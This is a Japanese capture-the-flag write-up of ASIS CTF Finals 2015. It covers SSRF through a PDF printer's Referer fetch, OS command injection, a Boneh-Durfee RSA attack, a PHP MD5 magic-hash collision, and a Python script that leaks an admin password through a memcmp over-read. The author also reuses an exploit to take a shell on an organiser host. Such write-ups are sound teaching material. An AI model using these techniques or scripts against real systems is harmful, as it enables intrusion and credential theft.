ASIS CTF Finals 2015 write-up

scryptosとして参加.2576pts, 9位でした.
解いた問題: What’s example flag?, Flag Hunter, ultra compression, My blog, Impossible, Bodu, shop-1

My blog (Web 150)

first solveを取った.

/robots.txtDisallow: /myblog_private_dir3ct0ryという記述がある.手元からアクセスしても403を返すが,printpage.phpがHTTPのRefererヘッダのURLに対してGETを飛ばしてpdfにしているのでこれを利用してhttp://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry/を読ませてみたらログインページっぽいものが出てきた.どうやらアクセス元のipが向こうのものであったら通してくれるっぽい.

しかし,HTMLのコードが読めないのでどこに対してどういう形のloginリクエストを投げているのかが不明.ここで偶然87.107.123.3:31337でqualsのpwn問題,saw thisのバイナリが動いていることに気が付いた(!!).チームメンバーが過去に書いていたexploitを使ってshell奪取,/tmp, /var/tmpが潰されていたものの/dev/shmは使えたのでここで適当に手元からシェルスクリプトを転送しながら作業していたらloginページのソースコードが取れた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<title>My blog - Admin Panel</title>
</head>
<body>
<div>
<h1>My Blog</h1>
<h2>Admin Panel</h2>
</div>
<div>
<form>
<input type="text" name="username" placeholder="Username"/>
<input type="text" name="password" placeholder="Password"/>
<input type="submit" name="login" value="Login"/>
</form>
</div>
</body>
</html>

SQLi等は必要なくadmin:adminで入れた.
curl 'http://myblog.asis-ctf.ir:8088/printpage.php?id=2417648298' -H "Referer: http://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry?username=admin&password=admin&login=Login" > 🏁.pdf

flag: ASIS{9c846eab5200c267cb593437780caa4d}

ultra compression (Web 125)

こちらもfirst solveを取った.

ファイルを/ajax_php_file.phpにpostするとcompressしたファイルをへのリンクを表示する(URLだけで実際にはダウンロードできない,運営によるとこれが正常な動作らしい).

返されるリンクはhttp://ucs.asis-ctf.ir/download.php?id=????の形で,idの生成法則を見てみるとファイル名と一対一に対応している.;を入れるとidが途切れることなどから,(状況的に無理がある気もしたが)OSコマンドインジェクションの匂いを感じた.PHPSESSIDごとにキーが異なる単一換字暗号によってidが作られていることがわかったので,PHPSESSIDを固定した上でテーブルを作ってpayload作成->適当なコマンドを実行させてみたところ成功した.あとはやるだけ.
ls / -> vmlinuz
ls /home/ -> asis
ls /home/asis -> flag.txt
cat /home/asis/flag.txt -> 🏁
flag: ASIS{72a126946e40f67a04d926dd4786ff15}

Bodu (Crypto 175)

問題名からしてRSA Boneh-Durfee’s Attack.
d = 89508186630638564513494386415865407147609702392949250864642625401059935751367507
flag: ASIS{b472266d4dd916a23a7b0deb5bc5e63f}

Impossible (Web 225)

PHP MD5 collision.users.datのuser名の中にmd5が^0eなものが存在するので,collisionを見つけてregister.phpでパスワードを抜いてlogin -> 🏁
flag: ASIS{d9fb4932eb4c45aa793301174033dff9}

shop-1 (pwn 100)

login時のbuffer over-readによってmemcmpの戻り値がleakできる.

  1. 一度adminでlogin試行
  2. guestでlogin & leak
  3. logout

を繰り返すことでadminのパスワードが1文字ずつ特定できるので,適当にコードを書いて求めた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
import struct
exec ebil('./bragisdumu-shop', arch='x86_64', remote=('185.106.120.220', 1337))
flag = ''
while True:
# login
sendline('admin')
sendline(flag + '\xff')
sendline('guestaaaaaaaaaaaaaaaaaaaaaaaaaaa')
password = 'guestbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
sendline(password)
r.recvuntil(password)
line = r.recvline().strip()[0:4]
print hexdump(line)
diff = struct.unpack('<i', line.ljust(4, '\x00'))[0]
flag += chr(0xff-diff)
log.success('password: %s' % flag)
# logout
sendline('8')
r.recvuntil('Username: ')

flag: ASIS{304b0f16eb430391c6c86ab0f3294211}